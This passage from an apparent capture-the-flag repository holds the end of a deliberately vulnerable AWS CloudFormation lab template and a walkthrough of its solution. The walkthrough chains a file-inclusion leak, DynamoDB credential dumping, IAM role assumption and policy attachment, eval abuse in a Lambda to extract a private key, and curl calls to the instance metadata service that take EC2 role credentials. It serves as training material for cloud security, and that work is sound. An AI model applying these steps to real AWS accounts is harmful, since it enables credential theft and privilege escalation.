PRIVATE KEY----- 723 | BASE64_PRIVATE_KEY 724 | -----END OPENSSH PRIVATE KEY----- 725 | ``` 726 | 727 | Note: when retrieving the key, it will contain `
`. Replace these with new lines. 728 | 729 | """ % (FLAG3, SSH_USER) 730 | 731 | def get_ec2_secrets(): 732 | return "${DynamoReaderKey},${DynamoReaderKey.SecretAccessKey}\n" \ 733 | + "${DynamoManagerKey},${DynamoManagerKey.SecretAccessKey}\n" 734 | 735 | def fill_dynamo(): 736 | client = boto3.client('dynamodb') 737 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'120875ABAB'},'Password':{'S': MYSELF_PASSWORD}}) 738 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'978273KULS'},'Password':{'S': get_password()}}) 739 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'442414ENVE'},'Password':{'S': get_password()}}) 740 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'459849NCNT'},'Password':{'S': get_password()}}) 741 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'328757EQYH'},'Password':{'S': get_password()}}) 742 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'934803VDAT'},'Password':{'S': get_password()}}) 743 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'516152CDSK'},'Password':{'S': get_password()}}) 744 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'262271SZZC'},'Password':{'S': get_password()}}) 745 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'707422TCTL'},'Password':{'S': get_password()}}) 746 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'044965WUMD'},'Password':{'S': get_password()}}) 747 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'864040VQNZ'},'Password':{'S': get_password()}}) 748 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S':'939932RQJX'},'Password':{'S': get_password()}}) 749 | client.put_item(TableName='${DynamoEmployeeLogin}', Item={'EmployeeId':{'S': get_user(prefix="hr_")},'Password':{'S':FLAG2}}) 750 | client.put_item(TableName='${DynamoManagerLogin}', Item={'EmployeeId':{'S':'mg_796503RTIV'},'Password':{'S': get_password()}}) 751 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'120875ABAB'}, 'Review': {'N': '1'}, 'Comment':{'S':'120875ABAB managed to destroy the team in a single week'}}) 752 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'978273KULS'}, 'Review': {'N': '4'}, 'Comment':{'S':'You have written solid documentation! https://${GODS3CorporationBucket}.s3.amazonaws.com/infrastructure.md'}}) 753 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'442414ENVE'}, 'Review': {'N': '2'}, 'Comment':{'S':'Needs to improve'}}) 754 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'459849NCNT'}, 'Review': {'N': '3'}, 'Comment':{'S':'OK but needs improvement'}}) 755 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'328757EQYH'}, 'Review': {'N': '1'}, 'Comment':{'S':'Yikes'}}) 756 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'934803VDAT'}, 'Review': {'N': '4'}, 'Comment':{'S':'Splendid work'}}) 757 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'516152CDSK'}, 'Review': {'N': '4'}, 'Comment':{'S':'Would recommend'}}) 758 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'262271SZZC'}, 'Review': {'N': '3'}, 'Comment':{'S':'Achieves the bare minimum'}}) 759 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'707422TCTL'}, 'Review': {'N': '2'}, 'Comment':{'S':'Would not recommend'}}) 760 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'044965WUMD'}, 'Review': {'N': '2'}, 'Comment':{'S':'No comment'}}) 761 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'864040VQNZ'}, 'Review': {'N': '1'}, 'Comment':{'S':'Mediocre'}}) 762 | client.put_item(TableName='${DynamoReview}', Item={'EmployeeId':{'S':'939932RQJX'}, 'Review': {'N': '1'}, 'Comment':{'S':'Terrible'}}) 763 | 764 | def get_source_code(): 765 | with urllib.request.urlopen('${ProvisioningUrl}/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip') as response: 766 | return response.read() 767 | 768 | def upload_to_s3_bucket(): 769 | client = boto3.client('s3') 770 | client.put_object(Body=get_infrastructure_markdown(), Bucket=BUCKET, Key=FLAG3_FILE, ACL='public-read') 771 | client.put_object(Body=get_ec2_secrets(), Bucket=BUCKET, Key=SECRETS_FILE) 772 | client.put_object(Body=get_nginx_conf(), Bucket=BUCKET, Key=NGINX_FILE) 773 | client.put_object(Body=SSH_USER, Bucket=BUCKET, Key=SSH_USER_FILE) 774 | client.put_object(Body=MYSELF_PASSWORD, Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE) 775 | client.put_object(Body=get_source_code(), Bucket=BUCKET, Key=SOURCECODE_FILE) 776 | return "Successful S3 upload" 777 | 778 | def remove_policy_on_user(username): 779 | client = boto3.client('iam') 780 | try: 781 | client.detach_user_policy( 782 | UserName=username, 783 | PolicyArn="${CustomPolicy}" 784 | ) 785 | except: 786 | pass 787 | 788 | def clean_s3_bucket(): 789 | client = boto3.client('s3') 790 | client.delete_object(Bucket=BUCKET, Key=FLAG3_FILE) 791 | client.delete_object(Bucket=BUCKET, Key=NGINX_FILE) 792 | return "Successful S3 cleanup" 793 | 794 | def handle_stack_creation(): 795 | fill_dynamo() 796 | return upload_to_s3_bucket() 797 | 798 | def handle_stack_destruction(): 799 | remove_policy_on_user("${ServiceAccountUser}") 800 | remove_policy_on_user("${DynamoReaderUser}") 801 | return clean_s3_bucket() 802 | 803 | def lambda_handler(event, context): 804 | try: 805 | if event.get('RequestType') == 'Create': 806 | message = handle_stack_creation() 807 | elif event.get('RequestType') == 'Delete': 808 | message = handle_stack_destruction() 809 | else: 810 | message = "RequestType not supported" 811 | except Exception as e: 812 | message = str(e) 813 | 814 | responseData = {'message': message} 815 | cfnresponse.send(event, context, cfnresponse.SUCCESS, responseData) 816 | 817 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html 818 | CustomCallbackLambda: 819 | Type: AWS::Lambda::Function 820 | Properties: 821 | Runtime: python3.9 822 | Role: !GetAtt LambdaRole.Arn 823 | Handler: index.lambda_handler 824 | Timeout: 90 825 | Code: 826 | ZipFile: 827 | !Sub | 828 | import urllib.request 829 | import cfnresponse 830 | import boto3 831 | 832 | BUCKET = "${GODS3CorporationBucket}" 833 | MYSELF_PASSWORD_FILE = "MYSELF.txt" 834 | 835 | def handle_stack_creation(): 836 | client = boto3.client('s3') 837 | pwd = client.get_object(Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE)['Body'].read().decode('utf-8') 838 | client.delete_object(Bucket=BUCKET, Key=MYSELF_PASSWORD_FILE) 839 | 840 | with urllib.request.urlopen('${ProvisioningUrl}/nsec_aws?raw=${AWS::AccountId},${GODContainerManager.PublicIp},' + pwd) as response: 841 | return response.read() 842 | 843 | def lambda_handler(event, context): 844 | try: 845 | if event.get('RequestType') == 'Create': 846 | message = handle_stack_creation() 847 | elif event.get('RequestType') == 'Delete': 848 | message = "Nothing to do" 849 | else: 850 | message = "RequestType not supported" 851 | except Exception as e: 852 | message = str(e) 853 | 854 | responseData = {'message': message} 855 | cfnresponse.send(event, context, cfnresponse.SUCCESS, responseData) 856 | 857 | InvokeCustomLambda: 858 | Type: Custom::InvokeCustomLambda 859 | Properties: 860 | ServiceToken: !GetAtt CustomBackendLambda.Arn 861 | 862 | InvokeCustom2Lambda: 863 | Type: Custom::InvokeCustom2Lambda 864 | Properties: 865 | ServiceToken: !GetAtt CustomCallbackLambda.Arn -------------------------------------------------------------------------------- /walkthrough/diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/simondotsh/nsec2023-ctf-aws/db3007113149d364bc3f78cbe1b5c495ca26c08a/walkthrough/diagram.png -------------------------------------------------------------------------------- /walkthrough/walkthrough.md: -------------------------------------------------------------------------------- 1 | # Walkthrough 2 | ![Diagram](diagram.png) 3 | 4 | ## Goal 5 | 120875ABAB must improve their review score to a value higher than 5. 6 | 7 | ## Steps 8 | 1. An employee web app displays review scores. It is hosted in a Docker container on an EC2 instance, but is unknown at this point. 9 | 2. The app is vulnerable to an LFI, and allows to retrieve a DynamoDB access key (**flag 1**). The code of file `app.php` also yields a valuable piece of information: a different message is displayed to employees with a score higher than 5. 10 | 3. Using the access key, dump the database using `aws dynamodb scan --table-name GOD_LoginEmployee` to obtain HR credentials (**flag 2**). 11 | 4. With the credentials, log back into the web app to access all employee reviews. This reveals the public documentation file `infrastructure.md` in an S3 bucket containing `GOD_svc_iam`'s access key (**flag 3**). 12 | 5. Using the access key, perform IAM reconnaissance: 13 | 14 | ``` 15 | aws iam list-roles --profile svc_iam 16 | ``` 17 | The role `GOD_IAM-Manager-Role` can be assumed by `GOD_svc_iam`: 18 | ``` 19 | "Statement": [ 20 | { 21 | "Effect": "Allow", 22 | "Principal": { 23 | "AWS": "arn:aws:iam::274186580685:user/GOD_svc_iam" 24 | }, 25 | "Action": "sts:AssumeRole" 26 | } 27 | ] 28 | ``` 29 | 30 | ``` 31 | aws iam list-role-policies --role-name GOD_IAM-Manager-Role --profile svc_iam 32 | aws iam get-role-policy --role-name GOD_IAM-Manager-Role --policy-name GOD_AttachCustomPolicies --profile svc_iam 33 | ``` 34 | 35 | The role `GOD_IAM-Manager-Role` has the role policy `GOD_AttachCustomPolicies` allowing to attach to a user the managed policies matching the pattern `GOD_Custom**`. 36 | 37 | ``` 38 | aws iam list-policies --profile svc_iam 39 | aws iam get-policy-version --policy-arn arn:aws:iam::274186580685:policy/GOD_CustomDebugEmployeeReview --version-id v1 --profile svc_iam 40 | ``` 41 | 42 | The managed policy `GOD_CustomDebugEmployeeReview` awards privileges to get and invoke a lambda named `GOD_DebugEmployeeApp`. 43 | 44 | ``` 45 | aws sts assume-role --role-arn 'arn:aws:iam::274186580685:role/GOD_IAM-Manager-Role' --role-session-name iam --profile svc_iam 46 | ``` 47 | 48 | Assume the role `GOD_IAM-Manager-Role` to get an access key as the role. 49 | 50 | ``` 51 | aws iam attach-user-policy --user-name GOD_svc_iam --policy-arn arn:aws:iam::274186580685:policy/GOD_CustomDebugEmployeeReview --profile god_iam_manager 52 | 53 | ``` 54 | 55 | Using this key, attach the managed policy to `GOD_svc_iam`. 56 | 57 | Then, retrieve the Lambda code (**flag 4**): 58 | 59 | ``` 60 | aws lambda get-function --function-name 'GOD_DebugEmployeeApp' --region us-east-1 --profile svc_iam 61 | ``` 62 | 63 | 6. The Lambda has the function `get_private_key` which gets the key from Secrets Manager. While not directly accessible, the `DEBUG` command will `eval` the content of `debug_cmd`. 64 | 65 | Instead of exfiltrating the key via HTTP, you can leverage slicing to restrict the length of the output like so: 66 | ``` 67 | aws lambda invoke --function-name 'GOD_DebugEmployeeApp' --payload '{ "command": "DEBUG", "debug_cmd": "get_private_key()[1][0:200]" }' --cli-binary-format raw-in-base64-out --profile svc_iam file1 68 | aws lambda invoke --function-name 'GOD_DebugEmployeeApp' --payload '{ "command": "DEBUG", "debug_cmd": "get_private_key()[1][200:400]" }' --cli-binary-format raw-in-base64-out --profile svc_iam file2 69 | ``` 70 | 71 | The `infrastructure.md` file contains the username and port to use when sshing into the container hosting the employee web app (**flag 5**). 72 | 73 | 7. Once ssh'd, you can find out you are inside of a container when looking at processes (e.g. apache is PID 1). Then, the file `status.sh` reveals the Instance Metadata Service (IMDS), implying the container is running on an EC2 instance and also the existence of a second container for managers. 74 | 75 | While the IMDS endpoint is accessible from the EC2, it can also be reached by the container since the EC2 (the host) routes the traffic. 76 | 77 | An EC2 feature allows an instance to be provisioned by a script when created. This script is available in instance user data, available through IMDS: 78 | 79 | ``` 80 | curl http://169.254.169.254/latest/user-data/ 81 | 82 | #!/bin/bash 83 | 84 | # Install dependencies 85 | apt-get update 86 | DEBIAN_FRONTEND=noninteractive apt-get upgrade -y 87 | DEBIAN_FRONTEND=noninteractive apt-get install -y \ 88 | unzip \ 89 | awscli 90 | 91 | # Setup docker 92 | curl -fsSL https://get.docker.com -o get-docker.sh 93 | sh get-docker.sh 94 | 95 | # Retrieve source code from bucket 96 | cd /opt 97 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/source.zip /opt/source.zip 98 | unzip source.zip 99 | 100 | # Retrieve debug ssh keys (will be used when building containers) 101 | aws secretsmanager get-secret-value --secret-id GOD_EmployeeAppDebugKey --region us-east-1 > employee_app_secrets.json 102 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 > manager_app_secrets.json 103 | 104 | # We don't need the source anymore 105 | aws s3 rm s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/source.zip 106 | 107 | # Run cleanup script 108 | sh /opt/clean.sh 109 | 110 | # Get nginx conf (will be used by the nginx container) 111 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/nginx.conf /opt/nginx.conf 112 | 113 | # Start containers 114 | docker compose up --build -d 115 | ``` 116 | 117 | This reveals that the EC2 instance has privileges to interact with resources. At this point, you can either push the AWS CLI into the container to use the EC2's privileges, or simply get the access key of its assumed role to use on your host: 118 | 119 | ``` 120 | curl http://169.254.169.254/latest/meta-data/iam/security-credentials/GOD_Ec2Role 121 | ``` 122 | 123 | Then, get the nginx configuration and the debug key for the manager container: 124 | 125 | ``` 126 | aws s3 cp s3://mod-a854a8410c7b4c22-gods3corporationbucket-1hfcjmr55yemz/nginx.conf nginx.conf --profile ec2 127 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 --profile ec2 > manager_app_secrets.json 128 | ``` 129 | 130 | The nginx config shows a manager web app accessible at the same IP but from `/manager-reviewing/`. The debug key is another private key to ssh into the manager container from the employee one. 131 | 132 | Transfer the key on the employee container or port forward to ssh into the manager container (**flag 6**). 133 | 134 | 8. Perform reconnaissance on the container. The file `/var/www/html/libs/dynamo.php` contains another set of DynamoDB access key, but with privileges on the tables `GOD_LoginManager` and `GOD_ReviewEmployee`. 135 | 136 | 9. Remember the goal of improving 120875ABAB's review score. Use yet another `dynamodb scan` command to dump the the manager's credentials. Authenticate into the web app at `/manager-reviewing/` and change 120875ABAB's score to a value higher than 5. Log back into the `/employee-review/` as 120875ABAB (**flag 7**). --------------------------------------------------------------------------------